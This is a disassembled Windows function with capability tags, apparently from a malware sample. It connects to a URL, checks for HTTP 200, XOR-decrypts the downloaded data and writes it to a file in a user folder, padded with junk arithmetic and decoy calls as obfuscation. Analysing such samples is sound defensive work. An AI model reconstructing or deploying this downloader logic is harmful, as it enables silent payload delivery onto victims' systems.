Function at 0x14000fca0
Capabilities:
Check http status code
Create directory
Delete file

Disassembly:
push rdi
mov eax, 0x1040
call fcn.140029ed0
sub rsp, rax
mov rax, qword [0x140037018]
xor rax, rsp
mov qword [rsp + 0x1030], rax
mov dword [rsp + 0x144], 0x15a0c
mov dword [rsp + 0x58], 0x16905
mov dword [rsp + 0x50], 0x5fdd
mov dword [rsp + 0x54], 0x2e75
mov dword [rsp + 0x5c], 0x1416f
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
mov edx, 1
lea rcx, [0x1400340a0]
call qword [0x14003b2a8]
mov qword [rsp + 0x78], rax
cmp qword [rsp + 0x78], 0
jne 0x14000fd20
xor eax, eax
jmp 0x140011632
mov r8d, 4
mov edx, 0x24
lea rcx, [0x140037bd0]
call fcn.14000c0b0
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x80000000
xor r9d, r9d
xor r8d, r8d
mov rdx, rax
mov rcx, qword [rsp + 0x78]
call qword [0x14003b2b0]
mov qword [rsp + 0x68], rax
cmp qword [rsp + 0x68], 0
jne 0x14000fd7b
mov rcx, qword [rsp + 0x78]
call qword [0x14003b2c8]
xor eax, eax
jmp 0x140011632
mov dword [rsp + 0x234], 0
mov dword [rsp + 0x23c], 4
mov qword [rsp + 0x20], 0
lea r9, [rsp + 0x23c]
lea r8, [rsp + 0x234]
mov edx, 0x20000013
mov rcx, qword [rsp + 0x68]
call qword [0x14003b2c0]
cmp dword [rsp + 0x234], 0xc8
je 0x14000fde4
mov rcx, qword [rsp + 0x68]
call qword [0x14003b2c8]
mov rcx, qword [rsp + 0x78]
call qword [0x14003b2c8]
xor eax, eax
jmp 0x140011632
mov dword [rsp + 0x220], 0
mov dword [rsp + 0x238], 4
mov qword [rsp + 0x20], 0
lea r9, [rsp + 0x238]
lea r8, [rsp + 0x220]
mov edx, 0x20000005
mov rcx, qword [rsp + 0x68]
call qword [0x14003b2c0]
cmp dword [rsp + 0x220], 0
ja 0x14000fe4a
mov rcx, qword [rsp + 0x68]
call qword [0x14003b2c8]
mov rcx, qword [rsp + 0x78]
call qword [0x14003b2c8]
xor eax, eax
jmp 0x140011632
mov dword [rsp + 0x228], 0
lea r9, [rsp + 0x228]
mov r8d, 1
lea rdx, [rsp + 0x2f0]
mov rcx, qword [rsp + 0x68]
call qword [0x14003b2b8]
test eax, eax
je 0x14000fe84
cmp dword [rsp + 0x228], 1
je 0x14000fe8b
xor eax, eax
jmp 0x140011632
mov eax, 1
imul rax, rax, 0
movzx eax, byte [rsp + rax + 0x2f0]
mov dword [rsp + 0x74], eax
lea r9, [rsp + 0x228]
mov r8d, dword [rsp + 0x74]
lea rdx, [rsp + 0x2f0]
mov rcx, qword [rsp + 0x68]
call qword [0x14003b2b8]
test eax, eax
je 0x14000fed1
mov eax, dword [rsp + 0x74]
cmp dword [rsp + 0x228], eax
je 0x14000feee
mov rcx, qword [rsp + 0x68]
call qword [0x14003b2c8]
mov rcx, qword [rsp + 0x78]
call qword [0x14003b2c8]
xor eax, eax
jmp 0x140011632
lea r9, [rsp + 0x228]
mov r8d, 1
lea rdx, [rsp + 0x224]
mov rcx, qword [rsp + 0x68]
call qword [0x14003b2b8]
test eax, eax
je 0x14000ff1d
cmp dword [rsp + 0x228], 1
je 0x14000ff3a
mov rcx, qword [rsp + 0x68]
call qword [0x14003b2c8]
mov rcx, qword [rsp + 0x78]
call qword [0x14003b2c8]
xor eax, eax
jmp 0x140011632
mov dword [rsp + 0xb8], 0
movzx eax, byte [rsp + 0x224]
cmp eax, 0xb
jne 0x14000ff9b
mov eax, dword [rsp + 0x74]
mov dword [rsp + 0x20], eax
mov r9d, dword [rsp + 0x228]
lea r8, [rsp + 0x2f0]
mov edx, dword [rsp + 0x220]
mov rcx, qword [rsp + 0x68]
call fcn.14000ee20
mov rcx, qword [rsp + 0x68]
call qword [0x14003b2c8]
mov rcx, qword [rsp + 0x78]
call qword [0x14003b2c8]
mov eax, 1
jmp 0x140011632
mov edx, 7
lea rcx, [rsp + 0x2e0]
call fcn.14000ec60
lea r8, [rsp + 0x2e0]
mov edx, 0x104
lea rcx, [rsp + 0x810]
call fcn.14001de2c
movzx eax, byte [rsp + 0x224]
mov edx, eax
lea rcx, [rsp + 0x810]
call fcn.14000fa00
mov qword [rsp + 0x150], 0
lea rax, [rsp + 0xa20]
mov qword [rsp + 0x20], rax
mov r9d, 1
xor r8d, r8d
mov edx, 0x1c
mov rcx, qword [rsp + 0x150]
call qword [0x14003b2e0]
lea rax, [rsp + 0x60]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
lea rdx, [rsp + 0x1f0]
lea rcx, [rsp + 0x60]
call fcn.140011650
mov qword [rsp + 0xc0], rax
mov qword [rsp + 0xe0], 0
jmp 0x14001005f
mov rax, qword [rsp + 0xe0]
inc rax
mov qword [rsp + 0xe0], rax
cmp qword [rsp + 0xe0], 5
jae 0x1400100dc
mov rax, qword [rsp + 0xc0]
mov rcx, qword [rsp + 0xe0]
lea rax, [rax + rcx*2 + 2]
mov qword [rsp + 0x158], rax
mov rax, qword [rsp + 0x158]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xc0]
movsx ecx, byte [rcx]
xor eax, ecx
mov word [rsp + 0x9a], ax
mov rax, qword [rsp + 0xc0]
mov rcx, qword [rsp + 0xe0]
lea rax, [rax + rcx*2 + 2]
mov qword [rsp + 0x160], rax
mov rax, qword [rsp + 0x160]
movzx ecx, word [rsp + 0x9a]
mov word [rax], cx
jmp 0x14001004c
mov eax, 5
imul rax, rax, 2
mov rcx, qword [rsp + 0xc0]
lea rax, [rcx + rax + 2]
mov qword [rsp + 0x168], rax
xor eax, eax
mov rcx, qword [rsp + 0x168]
mov word [rcx], ax
mov rax, qword [rsp + 0xc0]
add rax, 2
mov qword [rsp + 0x170], rax
lea rax, [rsp + 0x810]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0xa20]
mov r8, qword [rsp + 0x170]
mov edx, 0x104
lea rcx, [rsp + 0x3f0]
call fcn.140001140
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 2
xor r9d, r9d
xor r8d, r8d
mov edx, 0x40000000
lea rcx, [rsp + 0x3f0]
call qword [0x14003b318]
mov qword [rsp + 0x138], rax
cmp qword [rsp + 0x138], 0xffffffffffffffff
jne 0x1400101ac
mov rcx, qword [rsp + 0x68]
call qword [0x14003b2c8]
mov rcx, qword [rsp + 0x78]
call qword [0x14003b2c8]
xor eax, eax
jmp 0x140011632
mov eax, dword [rsp + 0x220]
mov qword [rsp + 0x178], rax
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov rcx, qword [rsp + 0x178]
mov r8, rcx
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov qword [rsp + 0xd8], rax
mov dword [rsp + 0x110], 0
mov eax, dword [rsp + 0x220]
cmp dword [rsp + 0x110], eax
jae 0x1400110d3
mov dword [rsp + 0x22c], 0
lea r9, [rsp + 0x22c]
mov r8d, dword [rsp + 0x220]
mov rdx, qword [rsp + 0xd8]
mov rcx, qword [rsp + 0x68]
call qword [0x14003b2b8]
test eax, eax
je 0x14001023a
cmp dword [rsp + 0x22c], 0
jne 0x14001023f
jmp 0x1400110d3
mov dword [rsp + 0x70], 0
jmp 0x140010253
mov eax, dword [rsp + 0x70]
inc eax
mov dword [rsp + 0x70], eax
mov eax, dword [rsp + 0x22c]
cmp dword [rsp + 0x70], eax
jae 0x14001107e
mov eax, dword [rsp + 0x70]
mov qword [rsp + 0x180], rax
xor edx, edx
mov eax, dword [rsp + 0xb8]
div dword [rsp + 0x74]
mov eax, edx
mov eax, eax
movzx eax, byte [rsp + rax + 0x2f0]
mov rcx, qword [rsp + 0xd8]
mov rdx, qword [rsp + 0x180]
movzx ecx, byte [rcx + rdx]
xor ecx, eax
mov eax, ecx
mov ecx, dword [rsp + 0x70]
mov rdx, qword [rsp + 0xd8]
mov byte [rdx + rcx], al
mov eax, dword [0x140037b00]
cmp dword [rsp + 0x5c], eax
jle 0x1400102d8
mov eax, dword [rsp + 0x5c]
cmp dword [rsp + 0x50], eax
je 0x140010af8
mov eax, dword [rsp + 0x58]
cmp dword [rsp + 0x5c], eax
jge 0x140010af8
mov eax, dword [0x140037bc4]
cmp dword [rsp + 0x58], eax
jbe 0x140010af3
mov eax, dword [0x140037b08]
mov dword [rsp + 0x80], eax
cmp dword [rsp + 0x80], 0xb9e9
je 0x14001033a
cmp dword [rsp + 0x80], 0xce81
je 0x140010751
cmp dword [rsp + 0x80], 0x1038c
je 0x140010968
cmp dword [rsp + 0x80], 0x1413a
je 0x1400107b4
jmp 0x140010a44
mov eax, dword [rsp + 0x54]
imul eax, dword [rsp + 0x54]
cdq
idiv dword [rsp + 0x50]
mov eax, edx
mov dword [rsp + 0xf4], eax
mov eax, dword [rsp + 0x58]
cdq
idiv dword [rsp + 0x50]
mov eax, edx
add eax, dword [rsp + 0x54]
movzx ecx, al
mov eax, dword [rsp + 0xf4]
sar eax, cl
mov dword [0x140037b08], eax
mov eax, dword [rsp + 0x54]
cmp dword [0x140037b00], eax
je 0x140010444
mov eax, dword [rsp + 0x50]
sub eax, 0xccd8
sub eax, dword [rsp + 0x50]
mov dword [0x140037b84], eax
mov eax, dword [rsp + 0x58]
cdq
idiv dword [rsp + 0x58]
mov eax, edx
movzx ecx, al
mov eax, dword [rsp + 0x5c]
sar eax, cl
mov dword [rsp + 0x50], eax
mov r9d, dword [rsp + 0x58]
mov r8d, dword [rsp + 0x58]
mov edx, dword [rsp + 0x5c]
mov ecx, dword [rsp + 0x50]
call fcn.140001ef0
mov eax, dword [rsp + 0x54]
mov ecx, dword [rsp + 0x50]
sub ecx, eax
mov eax, ecx
sub eax, dword [rsp + 0x54]
mov dword [rsp + 0x54], eax
mov eax, dword [rsp + 0x58]
cdq
idiv dword [rsp + 0x58]
mov dword [rsp + 0x54], eax
mov eax, dword [rsp + 0x50]
mov ecx, dword [rsp + 0x54]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xf8], eax
mov eax, 0x16d00
cdq
idiv dword [rsp + 0x5c]
add eax, dword [rsp + 0x58]
movzx ecx, al
mov eax, dword [rsp + 0xf8]
shl eax, cl
mov dword [0x140037b84], eax
mov eax, dword [rsp + 0x58]
mov dword [rsp + 0x5c], eax
lea rcx, str.phosphorus_fearlessness_lobster_LXhxyO_nectarines
call fcn.1400011a0
mov eax, 0xdccf
cdq
idiv dword [rsp + 0x5c]
imul eax, dword [rsp + 0x50]
mov dword [rsp + 0x58], eax
jmp 0x140010741
mov eax, dword [rsp + 0x5c]
mov dword [rsp + 0xa4], eax
jmp 0x140010461
mov eax, dword [rsp + 0xa4]
inc eax
mov dword [rsp + 0xa4], eax
mov eax, dword [0x140037ae4]
cmp dword [rsp + 0xa4], eax
je 0x140010741
lea rcx, str.naively_cpXj_zambezi_privations_tribute
call fcn.1400011a0
mov eax, dword [rsp + 0x58]
cdq
idiv dword [rsp + 0x54]
cdq
idiv dword [rsp + 0x54]
mov eax, edx
mov dword [rsp + 0xfc], eax
mov eax, dword [rsp + 0x50]
cdq
mov ecx, 0xbb75
idiv ecx
mov ecx, dword [rsp + 0xfc]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x54], eax
mov eax, 0xeb6
cdq
idiv dword [rsp + 0x54]
mov eax, edx
cdq
mov ecx, 0x872d
idiv ecx
mov dword [rsp + 0x100], eax
mov eax, dword [rsp + 0x50]
cdq
idiv dword [rsp + 0x5c]
mov ecx, dword [rsp + 0x100]
add ecx, eax
mov eax, ecx
mov ecx, dword [rsp + 0x54]
shl eax, cl
mov dword [0x140037b04], eax
mov eax, dword [rsp + 0x54]
cdq
idiv dword [rsp + 0x58]
mov eax, edx
cdq
idiv dword [rsp + 0x50]
cdq
idiv dword [rsp + 0x54]
mov eax, edx
mov dword [rsp + 0x50], eax
mov eax, dword [rsp + 0x5c]
mov dword [rsp + 0xa8], eax
jmp 0x140010525
mov eax, dword [rsp + 0xa8]
dec eax
mov dword [rsp + 0xa8], eax
mov eax, dword [0x140037bc4]
cmp dword [rsp + 0xa8], eax
jne 0x14001073c
mov eax, dword [rsp + 0x50]
mov dword [rsp + 0x20], eax
mov r9d, dword [rsp + 0x50]
mov r8d, dword [rsp + 0x54]
mov edx, dword [rsp + 0x54]
xor ecx, ecx
call qword [sym.imp.USER32.dll_CallWindowProcA]
mov dword [rsp + 0x58], eax
imul eax, dword [rsp + 0x58], 0x6ad0
mov ecx, dword [rsp + 0x5c]
add ecx, eax
mov eax, ecx
mov ecx, dword [rsp + 0x54]
shl eax, cl
and eax, dword [rsp + 0x5c]
mov dword [rsp + 0x50], eax
mov r9d, dword [rsp + 0x54]
mov r8d, dword [rsp + 0x50]
mov edx, dword [rsp + 0x5c]
mov ecx, dword [rsp + 0x58]
call fcn.140001ef0
mov eax, dword [rsp + 0x54]
mov ecx, dword [rsp + 0x58]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x104], eax
mov eax, dword [rsp + 0x50]
cdq
idiv dword [rsp + 0x58]
mov ecx, dword [rsp + 0x104]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x58], eax
mov eax, dword [rsp + 0x50]
mov ecx, dword [rsp + 0x50]
add ecx, eax
mov eax, ecx
imul ecx, dword [rsp + 0x50], 0xf539
or eax, ecx
mov dword [0x140037b08], eax
mov edx, dword [rsp + 0x50]
mov ecx, dword [rsp + 0x5c]
call qword [sym.imp.UxTheme.dll_EndBufferedAnimation]
mov dword [rsp + 0x58], eax
lea rcx, str.escapee_markers_6jeNSan_stoma_eHXki_proximately_blond
call fcn.1400011a0
mov eax, dword [rsp + 0x58]
mov ecx, dword [rsp + 0x58]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x140], eax
mov eax, dword [rsp + 0x54]
cdq
idiv dword [rsp + 0x50]
mov eax, edx
mov ecx, dword [rsp + 0x5c]
lea eax, [rcx + rax + 0x5758]
movzx ecx, al
mov eax, dword [rsp + 0x140]
sar eax, cl
mov dword [rsp + 0x50], eax
mov eax, dword [rsp + 0x50]
imul eax, dword [rsp + 0x58]
mov dword [rsp + 0x54], eax
mov r9d, dword [rsp + 0x58]
mov r8d, dword [rsp + 0x58]
mov edx, dword [rsp + 0x58]
mov ecx, dword [rsp + 0x5c]
call fcn.140007490
mov dword [rsp + 0x58], eax
mov eax, dword [rsp + 0x54]
add eax, 0x9fe9
mov ecx, dword [rsp + 0x54]
imul ecx, dword [rsp + 0x54]
sub eax, ecx
mov ecx, dword [rsp + 0x58]
sar eax, cl
mov dword [rsp + 0x5c], eax
mov eax, dword [rsp + 0x54]
imul eax, dword [rsp + 0x58]
mov ecx, dword [rsp + 0x54]
add ecx, 0xf30c
mov edx, dword [rsp + 0x50]
imul edx, dword [rsp + 0x58]
sub ecx, edx
shl eax, cl
mov dword [rsp + 0x58], eax
mov eax, dword [rsp + 0x58]
imul eax, dword [rsp + 0x5c]
imul eax, eax, 0x8af7
mov dword [rsp + 0x54], eax
mov eax, dword [rsp + 0x50]
mov ecx, dword [rsp + 0x54]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x108], eax
mov eax, dword [rsp + 0x5c]
cdq
idiv dword [rsp + 0x58]
mov ecx, dword [rsp + 0x108]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x54], eax
mov eax, dword [rsp + 0x54]
imul eax, dword [rsp + 0x5c]
imul eax, dword [rsp + 0x54]
mov ecx, dword [rsp + 0x5c]
mov edx, dword [rsp + 0x50]
add edx, ecx
mov ecx, edx
mov edx, dword [rsp + 0x50]
sar edx, cl
mov ecx, edx
or eax, ecx
mov dword [rsp + 0x50], eax
mov eax, dword [rsp + 0x5c]
add eax, 0x645c
mov dword [rsp + 0x10c], eax
mov eax, dword [rsp + 0x50]
cdq
idiv dword [rsp + 0x50]
mov eax, edx
mov ecx, dword [rsp + 0x10c]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x50], eax
mov eax, dword [0x140037b04]
cmp dword [rsp + 0x50], eax
jne 0x1400105d6
jmp 0x140010515
jmp 0x140010451
mov eax, dword [0x140037b04]
cmp dword [rsp + 0x54], eax
jge 0x140010372
mov r8d, dword [rsp + 0x54]
mov edx, dword [rsp + 0x50]
mov ecx, dword [rsp + 0x54]
call fcn.140002250
mov eax, dword [rsp + 0x58]
cdq
idiv dword [rsp + 0x5c]
mov eax, edx
add eax, dword [rsp + 0x50]
mov dword [rsp + 0x5c], eax
mov eax, dword [rsp + 0x58]
cdq
idiv dword [rsp + 0x54]
mov ecx, dword [rsp + 0x54]
sub ecx, eax
mov eax, ecx
sub eax, dword [rsp + 0x5c]
mov dword [rsp + 0x50], eax
mov eax, dword [rsp + 0x58]
mov dword [rsp + 0x50], eax
lea rcx, str.qt349oN_polycotton_dreamed_narcoleptic
call fcn.1400011a0
imul eax, dword [rsp + 0x58], 0x86bb
mov dword [rsp + 0x54], eax
jmp 0x140010aee
mov eax, dword [rsp + 0x50]
cdq
idiv dword [rsp + 0x54]
mov eax, edx
add eax, dword [rsp + 0x54]
mov dword [rsp + 0x130], eax
mov eax, dword [rsp + 0x5c]
cdq
idiv dword [rsp + 0x54]
mov eax, edx
mov ecx, dword [rsp + 0x130]
add ecx, eax
mov eax, ecx
movzx ecx, al
mov eax, dword [rsp + 0x5c]
sar eax, cl
mov dword [rsp + 0x50], eax
mov eax, dword [rsp + 0x58]
cdq
idiv dword [rsp + 0x58]
sub eax, 0x120b5
mov dword [rsp + 0x54], eax
mov eax, dword [rsp + 0x5c]
cdq
idiv dword [rsp + 0x5c]
mov eax, edx
mov dword [rsp + 0x114], eax
mov eax, dword [rsp + 0x58]
cdq
idiv dword [rsp + 0x5c]
mov eax, edx
mov ecx, dword [rsp + 0x114]
add ecx, eax
mov eax, ecx
mov ecx, dword [rsp + 0x5c]
imul ecx, dword [rsp + 0x58]
sub eax, ecx
mov dword [rsp + 0x5c], eax
mov eax, dword [rsp + 0x54]
mov dword [rsp + 0x58], eax
mov eax, dword [rsp + 0x54]
cdq
idiv dword [rsp + 0x58]
mov ecx, 0x12c6
sub ecx, dword [rsp + 0x54]
sar eax, cl
mov dword [rsp + 0x50], eax
mov r9d, dword [rsp + 0x54]
mov r8d, dword [rsp + 0x5c]
mov edx, dword [rsp + 0x5c]
mov ecx, dword [rsp + 0x54]
call fcn.140007490
mov dword [rsp + 0x5c], eax
mov eax, dword [rsp + 0x58]
cdq
idiv dword [rsp + 0x50]
sub eax, dword [rsp + 0x54]
movzx ecx, al
mov eax, dword [rsp + 0x50]
sar eax, cl
mov dword [rsp + 0x5c], eax
mov eax, dword [rsp + 0x58]
imul eax, dword [rsp + 0x50]
cdq
idiv dword [rsp + 0x5c]
mov eax, edx
mov ecx, dword [rsp + 0x5c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x5c], eax
mov r8d, dword [rsp + 0x50]
mov edx, dword [rsp + 0x5c]
mov ecx, dword [rsp + 0x54]
call fcn.140006d20
mov dword [rsp + 0x5c], eax
mov eax, dword [rsp + 0x54]
cdq
idiv dword [rsp + 0x5c]
mov eax, edx
mov dword [rsp + 0x118], eax
mov eax, dword [rsp + 0x54]
cdq
idiv dword [rsp + 0x50]
mov eax, edx
mov ecx, dword [rsp + 0x118]
sub ecx, eax
mov eax, ecx
add eax, dword [rsp + 0x5c]
add eax, dword [rsp + 0x58]
mov dword [0x140037bc4], eax
mov eax, dword [rsp + 0x50]
cmp dword [0x140037bc8], eax
jge 0x1400107ed
mov r8d, dword [rsp + 0x5c]
mov edx, dword [rsp + 0x54]
mov ecx, dword [rsp + 0x5c]
call fcn.140002250
mov eax, dword [rsp + 0x50]
mov dword [rsp + 0x50], eax
mov eax, dword [0x140037bc4]
cmp dword [rsp + 0x50], eax
je 0x1400107b4
mov eax, dword [rsp + 0x54]
mov dword [rsp + 0x20], eax
mov r9d, dword [rsp + 0x50]
mov r8d, dword [rsp + 0x5c]
mov edx, dword [rsp + 0x54]
mov ecx, dword [rsp + 0x58]
call fcn.140002390
mov eax, dword [rsp + 0x58]
imul eax, dword [rsp + 0x54]
cdq
mov ecx, 0x5ef5
idiv ecx
mov dword [0x140037c2c], eax
jmp 0x140010aee
mov eax, dword [rsp + 0x50]
imul eax, dword [rsp + 0x5c]
add eax, dword [rsp + 0x54]
mov dword [rsp + 0x50], eax
lea rcx, str._TPmJyBs
call fcn.1400011a0
mov eax, dword [rsp + 0x50]
cdq
idiv dword [rsp + 0x54]
cdq
idiv dword [rsp + 0x54]
mov eax, edx
cdq
mov ecx, 0x13c03
idiv ecx
mov eax, edx
add eax, 0x6142
mov dword [rsp + 0x5c], eax
mov eax, dword [rsp + 0x54]
mov dword [rsp + 0x20], eax
mov r9d, dword [rsp + 0x54]
mov r8d, dword [rsp + 0x54]
mov edx, dword [rsp + 0x5c]
mov ecx, dword [rsp + 0x58]
call fcn.1400075b0
mov dword [rsp + 0x58], eax
mov eax, dword [rsp + 0x54]
and eax, 0x10adc
mov dword [rsp + 0x58], eax
mov eax, dword [rsp + 0x58]
mov ecx, dword [rsp + 0x54]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x58], eax
mov eax, dword [rsp + 0x50]
mov ecx, dword [rsp + 0x58]
sub ecx, eax
mov eax, ecx
add eax, dword [rsp + 0x50]
mov ecx, dword [rsp + 0x50]
mov edx, dword [rsp + 0x50]
and edx, ecx
mov ecx, edx
or eax, ecx
mov dword [rsp + 0x50], eax
mov eax, dword [rsp + 0x54]
mov ecx, dword [rsp + 0x58]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x11c], eax
mov eax, dword [rsp + 0x58]
cdq
idiv dword [rsp + 0x50]
mov eax, edx
mov ecx, dword [rsp + 0x11c]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x50], eax
mov eax, dword [rsp + 0x50]
cdq
idiv dword [rsp + 0x5c]
mov dword [rsp + 0x58], eax
mov eax, dword [rsp + 0x58]
mov dword [rsp + 0x54], eax
mov eax, dword [rsp + 0x58]
mov ecx, dword [rsp + 0x50]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x58], eax
xor r8d, r8d
xor edx, edx
mov ecx, 0x77e5
call qword [sym.imp.KERNEL32.dll_GetProfileSectionA]
mov dword [rsp + 0x54], eax
mov eax, dword [rsp + 0x58]
mov dword [0x140037b08], eax
mov eax, dword [rsp + 0x50]
imul eax, dword [rsp + 0x5c]
imul eax, dword [rsp + 0x50]
mov dword [0x140037bc8], eax
lea rcx, str.feathery_connectors_disconsolate
call fcn.1400011a0
imul eax, dword [rsp + 0x5c], 0x8c72
sub eax, dword [rsp + 0x50]
movzx ecx, al
mov eax, dword [rsp + 0x50]
shl eax, cl
mov dword [rsp + 0x58], eax
mov eax, dword [rsp + 0x50]
mov dword [rsp + 0x58], eax
mov eax, dword [rsp + 0x54]
imul eax, dword [rsp + 0x5c]
sub eax, dword [rsp + 0x50]
add eax, 0x310e
sub eax, dword [rsp + 0x5c]
sub eax, dword [rsp + 0x54]
mov dword [rsp + 0x58], eax
mov eax, 0x8e1
cdq
idiv dword [rsp + 0x50]
mov eax, edx
add eax, 0x15ce
mov dword [rsp + 0x54], eax
jmp 0x1400102d8
jmp 0x140011061
mov eax, dword [rsp + 0x58]
cmp dword [rsp + 0x58], eax
jne 0x140010b24
mov eax, dword [rsp + 0x50]
cmp dword [rsp + 0x54], eax
je 0x140010b24
mov eax, dword [rsp + 0x58]
cmp dword [rsp + 0x54], eax
jne 0x140010b24
mov eax, dword [rsp + 0x50]
cmp dword [rsp + 0x50], eax
jl 0x140010c90
mov eax, dword [rsp + 0x58]
cmp dword [0x140037ae4], eax
jge 0x140010c8b
mov eax, dword [rsp + 0x58]
mov ecx, dword [rsp + 0x5c]
add ecx, eax
mov eax, ecx
mov ecx, dword [rsp + 0x54]
and ecx, eax
mov eax, ecx
mov dword [0x140037b08], eax
mov eax, dword [0x140037b08]
mov dword [rsp + 0xac], eax
jmp 0x140010b6d
mov eax, dword [rsp + 0xac]
dec eax
mov dword [rsp + 0xac], eax
mov eax, dword [rsp + 0x58]
cmp dword [rsp + 0xac], eax
jge 0x140010c4f
mov eax, dword [rsp + 0x5c]
add eax, 0x1059e
mov dword [rsp + 0x50], eax
mov r8d, dword [rsp + 0x50]
mov edx, dword [rsp + 0x50]
mov ecx, dword [rsp + 0x50]
call fcn.140002250
mov eax, dword [rsp + 0x50]
cdq
mov ecx, 0x16a0b
idiv ecx
mov eax, edx
imul eax, dword [rsp + 0x50]
mov dword [rsp + 0x120], eax
mov eax, dword [rsp + 0x54]
cdq
idiv dword [rsp + 0x5c]
mov ecx, dword [rsp + 0x120]
add ecx, eax
mov eax, ecx
sub eax, dword [rsp + 0x5c]
mov dword [rsp + 0x54], eax
mov eax, dword [rsp + 0x50]
imul eax, dword [rsp + 0x58]
add eax, dword [rsp + 0x5c]
mov dword [rsp + 0x5c], eax
mov eax, dword [rsp + 0x50]
mov ecx, dword [rsp + 0x50]
sub ecx, eax
mov eax, ecx
mov ecx, dword [rsp + 0x54]
shl eax, cl
mov dword [rsp + 0x124], eax
mov eax, 0x17de4
cdq
idiv dword [rsp + 0x54]
mov eax, edx
movzx ecx, al
mov eax, dword [rsp + 0x124]
sar eax, cl
mov dword [rsp + 0x58], eax
mov eax, dword [rsp + 0x50]
mov ecx, dword [rsp + 0x50]
add ecx, eax
mov eax, ecx
add eax, dword [rsp + 0x5c]
mov dword [rsp + 0x50], eax
mov eax, dword [rsp + 0x58]
cdq
idiv dword [rsp + 0x50]
mov ecx, dword [rsp + 0x58]
sub ecx, eax
mov eax, ecx
mov ecx, dword [rsp + 0x58]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x58], eax
jmp 0x140010b5d
mov eax, dword [rsp + 0x50]
cmp dword [0x140037b04], eax
je 0x140010b34
mov eax, dword [rsp + 0x58]
cdq
idiv dword [rsp + 0x5c]
cdq
idiv dword [rsp + 0x50]
imul eax, dword [rsp + 0x50]
mov dword [rsp + 0x58], eax
mov eax, dword [rsp + 0x5c]
cmp dword [0x140037ae4], eax
jle 0x140010b34
jmp 0x140010b24
jmp 0x140011061
mov eax, dword [rsp + 0x54]
cmp dword [0x140037ae4], eax
jge 0x140011061
mov eax, dword [0x140037bc4]
mov dword [rsp + 0xb0], eax
cmp dword [rsp + 0xb0], 0x504c
je 0x140010e4c
cmp dword [rsp + 0xb0], 0xa991
je 0x140010ce1
cmp dword [rsp + 0xb0], 0x1347e
je 0x140010fb5
jmp 0x14001105c
mov eax, dword [rsp + 0x50]
cdq
idiv dword [rsp + 0x5c]
mov eax, edx
cdq
idiv dword [rsp + 0x50]
mov eax, edx
mov ecx, dword [rsp + 0x54]
add ecx, eax
mov eax, ecx
sub eax, dword [rsp + 0x50]
mov dword [rsp + 0x50], eax
mov eax, dword [rsp + 0x54]
mov ecx, dword [rsp + 0x5c]
add ecx, eax
mov eax, ecx
mov ecx, dword [rsp + 0x5c]
mov edx, dword [rsp + 0x5c]
sub edx, ecx
mov ecx, edx
mov edx, dword [rsp + 0x58]
sar edx, cl
mov ecx, edx
and eax, ecx
mov dword [rsp + 0x54], eax
mov eax, dword [rsp + 0x50]
mov dword [rsp + 0x5c], eax
mov eax, dword [rsp + 0x54]
mov ecx, dword [rsp + 0x50]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x128], eax
mov eax, dword [rsp + 0x54]
cdq
idiv dword [rsp + 0x58]
mov eax, edx
add eax, dword [rsp + 0x50]
movzx ecx, al
mov eax, dword [rsp + 0x128]
shl eax, cl
or eax, dword [rsp + 0x58]
mov dword [rsp + 0x5c], eax
mov eax, dword [rsp + 0x5c]
imul eax, dword [rsp + 0x58]
cdq
idiv dword [rsp + 0x58]
sub eax, dword [rsp + 0x50]
sub eax, 0x251d
mov dword [rsp + 0x5c], eax
mov eax, dword [rsp + 0x54]
imul eax, dword [rsp + 0x54]
mov dword [rsp + 0x12c], eax
mov ecx, dword [rsp + 0x58]
imul ecx, dword [rsp + 0x58]
mov eax, ecx
cdq
idiv dword [rsp + 0x50]
cdq
idiv dword [rsp + 0x5c]
mov ecx, dword [rsp + 0x12c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x54], eax
mov eax, dword [rsp + 0x5c]
mov ecx, dword [rsp + 0x58]
add ecx, eax
mov eax, ecx
mov ecx, 0x7653
sub ecx, dword [rsp + 0x5c]
sub ecx, dword [rsp + 0x58]
sub ecx, dword [rsp + 0x58]
sar eax, cl
mov dword [rsp + 0x5c], eax
mov eax, dword [rsp + 0x5c]
imul eax, dword [rsp + 0x54]
mov dword [rsp + 0x134], eax
mov ecx, dword [rsp + 0x54]
imul ecx, dword [rsp + 0x54]
mov eax, ecx
cdq
mov ecx, 0x13b2f
idiv ecx
mov ecx, dword [rsp + 0x134]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x58], eax
mov ecx, dword [rsp + 0x58]
call fcn.140001a40
mov eax, dword [rsp + 0x5c]
mov ecx, dword [rsp + 0x54]
sub ecx, eax
mov eax, ecx
movzx ecx, al
mov eax, dword [rsp + 0x50]
sar eax, cl
mov dword [0x140037b00], eax
mov eax, dword [rsp + 0x5c]
mov dword [rsp + 0x58], eax
mov eax, dword [0x140037c2c]
cmp dword [rsp + 0x5c], eax
je 0x140010d31
jmp 0x14001105c
mov eax, dword [rsp + 0x54]
mov dword [rsp + 0xb4], eax
jmp 0x140010e69
mov eax, dword [rsp + 0xb4]
dec eax
mov dword [rsp + 0xb4], eax
mov eax, dword [0x140037b84]
cmp dword [rsp + 0xb4], eax
je 0x140010f7e
mov eax, dword [rsp + 0x50]
